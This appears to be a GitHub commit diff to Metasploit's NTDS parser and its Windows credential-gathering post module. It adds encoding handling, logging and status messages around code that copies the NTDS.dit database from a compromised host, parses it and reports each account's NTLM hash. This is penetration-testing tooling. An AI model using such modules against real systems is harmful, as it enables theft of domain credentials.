File tree Expand file tree Collapse file tree 3 files changed +8
-2
lines changed
lib/metasploit/framework/ntds
modules/post/windows/gather/credentials Expand file tree Collapse file tree 3 files changed +8
-2
lines changed Original file line number Diff line number Diff line change @@ -137,7 +137,7 @@ def get_int(data)
137
137
end
138
138
139
139
def get_string ( data , length )
140
- data . slice! ( 0 , length ) . gsub ( /\x00 / , '' )
140
+ data . slice! ( 0 , length ) . force_encoding ( "UTF-8" ) . gsub ( /\x00 / , '' )
141
141
end
142
142
143
143
def uac_string
Original file line number Diff line number Diff line change @@ -50,11 +50,13 @@ def each_account
50
50
51
51
def pull_batch
52
52
if channel . cid . nil?
53
+ dlog ( "NTDS Parser Channel was closed, reopening" )
53
54
reopen_channel
54
55
end
55
56
begin
56
57
raw_batch_data = channel . read ( BATCH_SIZE )
57
- rescue EOFError
58
+ rescue EOFError => e
59
+ elog ( "NTDS Parser: Error pulling batch - #{ e } " )
58
60
raw_batch_data = nil
59
61
end
60
62
raw_batch_data
Original file line number Diff line number Diff line change @@ -33,10 +33,13 @@ def run
33
33
if preconditions_met?
34
34
ntds_file = copy_database_file
35
35
unless ntds_file . nil?
36
+ file_stat = client . fs . file . stat ( ntds_file )
37
+ print_status "NTDS File Size: #{ file_stat . size . to_s } bytes"
36
38
print_status "Repairing NTDS database after copy..."
37
39
print_status repair_ntds ( ntds_file )
38
40
realm = sysinfo [ "Domain" ]
39
41
ntds_parser = Metasploit ::Framework ::NTDS ::Parser . new ( client , ntds_file )
42
+ print_status "Started up NTDS channel. Preparing to stream results..."
40
43
ntds_parser . each_account do |ad_account |
41
44
print_good ad_account . to_s
42
45
report_hash ( ad_account . ntlm_hash . downcase , ad_account . name , realm )
@@ -46,6 +49,7 @@ def run
46
49
report_hash ( hash_string . downcase , ad_account . name , realm )
47
50
end
48
51
end
52
+ print_status "Deleting backup of NTDS.dit at #{ ntds_file } "
49
53
rm_f ( ntds_file )
50
54
end
51
55
end
You can’t perform that action at this time.
0 commit comments